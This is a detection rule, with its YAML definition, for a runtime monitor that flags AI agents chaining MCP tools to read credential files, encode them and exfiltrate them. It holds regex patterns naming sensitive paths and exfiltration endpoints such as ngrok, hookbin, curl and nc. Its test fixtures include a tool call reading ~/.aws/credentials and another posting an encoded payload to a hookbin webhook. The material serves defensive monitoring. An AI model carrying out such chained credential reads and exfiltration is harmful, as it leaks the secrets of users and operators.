Multi-Skill Chain Attack

Detects attack sequences where multiple MCP skills are chained together to achieve a malicious outcome that no single skill could accomplish alone. For example: (1) a reconnaissance skill reads sensitive files, (2) an encoding skill obfuscates the data, (3) a network skill exfiltrates it. Each step appears benign individually but the chain constitutes data exfiltration.

Response Actions

References

Wild Validation

1. 01

   Sensitive file/credential access patterns (path-specific, not bare word 'credentials')

   field: tool_argsop: regex
2. 02

   field: tool_argsop: regex
3. 03

   Known out-of-band exfiltration endpoints. `oast` carried no word boundary, so it matched inside ordinary English — roast, toast, coast, boast, roasts — on a critical rule whose response is block_tool + escalate. Bounded with \b rather than the lookbehind used by the first condition, because \b is RE2-native and lookaround is not: scripts/gate-re2-portability.ts fails a rule that newly needs backtracking, and downstream Go/Rust/Sigma consumers drop it outright. oast.fun / oast.pro / bare OAST still match — `.` and end-of-string are both word boundaries.

   field: tool_argsop: regex
4. 04

   field: tool_nameop: regex
5. 05

   Dotenv file access ONLY when chained with an obfuscation-or-egress indicator in the same args (multi-step access-then-obfuscate-then-egress chain). A bare startup-style dotenv reference no longer fires alone; the dangerous egress half is now required to flag this composite data-egress signal.

   field: tool_argsop: regex

Attack Examples (Rule Triggers)

1. Matches: reading sensitive credential file

   tool_name: file_reader
   tool_args: '{"path": "/home/user/.aws/credentials"}'

2. Matches: sending data to known exfiltration endpoint

   tool_name: send_webhook
   tool_args: '{"url": "https://hookbin.com/abc123", "data": "encoded_payload"}'

Real-world attack payloads, sanitized and versioned alongside the rule as regression tests — so a future revision can't silently stop catching them.

Benign Examples (Rule Doesn't Trigger)

1. tool_name: file_reader
   tool_args: '{"path": "/home/user/documents/report.pdf"}'

2. tool_name: email_sender
   tool_args: '{"to": "[email protected]", "subject": "Meeting notes"}'

Known False Positive Contexts

• ▸Legitimate backup or migration workflows that read, compress, and transfer files
• ▸CI/CD pipelines that encode artifacts for deployment
• ▸Monitoring tools that send alerts via webhooks

title: "Multi-Skill Chain Attack"
id: ATR-2026-00063
rule_version: 1
status: experimental
description: >
  Detects attack sequences where multiple MCP skills are chained together to achieve
  a malicious outcome that no single skill could accomplish alone. For example:
  (1) a reconnaissance skill reads sensitive files, (2) an encoding skill obfuscates
  the data, (3) a network skill exfiltrates it. Each step appears benign individually
  but the chain constitutes data exfiltration.
author: "ATR Community"
date: "2026/03/08"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: critical

references:
  owasp_llm:
    - "LLM03:2025"
    - "LLM06:2025"
  owasp_agentic:
    - "ASI02:2026"
  mitre_atlas:
    - "AML.T0024 - Exfiltration via AI Inference API"
    - "AML.T0053 - AI Agent Tool Invocation"

compliance:
  nist_ai_rmf:
    - subcategory: "MP.5.1"
      context: "Multi-skill chain attacks combine individually benign tool calls into a composite exfiltration or compromise sequence; MP.5.1 requires characterizing the likelihood and magnitude of impact for these emergent risks that only manifest when steps are correlated across skills."
      strength: primary
    - subcategory: "MG.2.3"
      context: "Detection of reconnaissance-then-encode-then-exfiltrate skill chains must trigger pre-defined risk treatment to disengage or quarantine the orchestration before the final exfiltration step completes; MG.2.3 mandates these supersede/deactivate mechanisms are in place."
      strength: secondary
    - subcategory: "GV.6.1"
      context: "Skill chains often span third-party MCP tools whose composed behavior is not covered by individual supplier risk reviews; GV.6.1 requires policies that address third-party AI/tool risks including emergent misuse across multiple suppliers."
      strength: secondary
    - subcategory: "MS.2.7"
      context: "NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the skill supply-chain compromise (Multi-Skill Chain Attack)."
      strength: primary
    - subcategory: "MG.3.1"
      context: "NIST AI RMF MANAGE 3.1 (third-party resources regularly monitored) is supported where this rule detects the skill supply-chain compromise (Multi-Skill Chain Attack)."
      strength: secondary
    - subcategory: "MG.3.2"
      context: "NIST AI RMF MANAGE 3.2 (pre-trained models monitored as part of maintenance) is supported where this rule detects the skill supply-chain compromise (Multi-Skill Chain Attack)."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control, including control of externally provided processes) is operationalised by this rule's detection of the skill supply-chain compromise (Multi-Skill Chain Attack)."
      strength: primary
    - clause: "8.3"
      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the skill supply-chain compromise (Multi-Skill Chain Attack) as a treatment control."
      strength: secondary
  eu_ai_act:
    - article: "15"
      context: "Article 15 (accuracy, robustness and cybersecurity) requires high-risk AI systems to resist unauthorised attempts to alter their use, outputs or performance; this rule provides runtime detection evidence by flagging the skill supply-chain compromise (Multi-Skill Chain Attack)."
      strength: primary
    - article: "9"
      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control that detects the skill supply-chain compromise (Multi-Skill Chain Attack)."
      strength: secondary
tags:
  category: tool-poisoning
  subcategory: skill-chain
  scan_target: mcp
  confidence: medium

agent_source:
  type: tool_call
  framework:
    - mcp
    - langchain
    - crewai
    - autogen
  provider:
    - any

detection:
  conditions:
    - field: tool_args
      operator: regex
      value: "(?i)(/etc/passwd|/etc/shadow|(?<![a-z])\\.aws/credentials|secrets?\\.json|private[_-]?key|id_rsa|kubeconfig)"
      description: "Sensitive file/credential access patterns (path-specific, not bare word 'credentials')"
    - field: tool_args
      operator: regex
      value: "(?i)(base64|btoa|encodeURI|hex\\.encode|rot13|xor|compress|gzip|deflate|encrypt)"
    - field: tool_args
      operator: regex
      value: "(?i)(webhook|ngrok|requestbin|pipedream|hookbin|burpcollaborator|interact\\.sh|\\boast\\b)"
      description: >-
        Known out-of-band exfiltration endpoints. `oast` carried no word boundary, so
        it matched inside ordinary English — roast, toast, coast, boast, roasts — on a
        critical rule whose response is block_tool + escalate. Bounded with \b rather
        than the lookbehind used by the first condition, because \b is RE2-native and
        lookaround is not: scripts/gate-re2-portability.ts fails a rule that newly
        needs backtracking, and downstream Go/Rust/Sigma consumers drop it outright.
        oast.fun / oast.pro / bare OAST still match — `.` and end-of-string are both
        word boundaries.
    - field: tool_name
      operator: regex
      value: "(?i)(send[_-]?(email|message|webhook|http|request)|upload|post[_-]?data|transmit|exfil)"
    - field: tool_args
      operator: regex
      value: '(?i)(?=[\s\S]*(?<![a-z])\.env)(?=[\s\S]*(base64|btoa|encodeURI|hex\.encode|rot13|xor|compress|gzip|deflate|encrypt|webhook|ngrok|requestbin|pipedream|hookbin|burpcollaborator|interact\.sh|\boast\b|curl|wget|\bnc\b|exfil|upload))'
      description: "Dotenv file access ONLY when chained with an obfuscation-or-egress indicator in the same args (multi-step access-then-obfuscate-then-egress chain). A bare startup-style dotenv reference no longer fires alone; the dangerous egress half is now required to flag this composite data-egress signal."
  condition: any
  false_positives:
    - "Legitimate backup or migration workflows that read, compress, and transfer files"
    - "CI/CD pipelines that encode artifacts for deployment"
    - "Monitoring tools that send alerts via webhooks"

response:
  actions:
    - alert
    - snapshot
    - escalate
  actions_rationale: >-
    response-action eligibility (docs/RESPONSE-ACTION-ELIGIBILITY.md): benign FP 637/5352 =
    11.90% (partial measurement — a lower bound) exceeds the 2% automatic-demotion line; ceiling
    = observe. Removed block_tool(interrupt). Detection unchanged — recall cost is zero.
  auto_response_threshold: high
  message_template: >
    [ATR-2026-063] Potential skill chain attack detected. Tool call appears to be
    part of a multi-step attack sequence (reconnaissance -> encoding -> exfiltration).
    Review the full session tool call history.

confidence: 53
wild_validated: "2026/04/08"
wild_samples: 53577
test_cases:
  true_positives:
    - input:
        tool_name: "file_reader"
        tool_args: '{"path": "/home/user/.aws/credentials"}'
      expected: triggered
      matched_condition: "reading sensitive credential file"
    - input:
        tool_name: "send_webhook"
        tool_args: '{"url": "https://hookbin.com/abc123", "data": "encoded_payload"}'
      expected: triggered
      matched_condition: "sending data to known exfiltration endpoint"
  true_negatives:
    - input:
        tool_name: "file_reader"
        tool_args: '{"path": "/home/user/documents/report.pdf"}'
      expected: not_triggered
      reason: "Reading a normal user document"
    - input:
        tool_name: "email_sender"
        tool_args: '{"to": "[email protected]", "subject": "Meeting notes"}'
      expected: not_triggered
      reason: "Sending normal business email"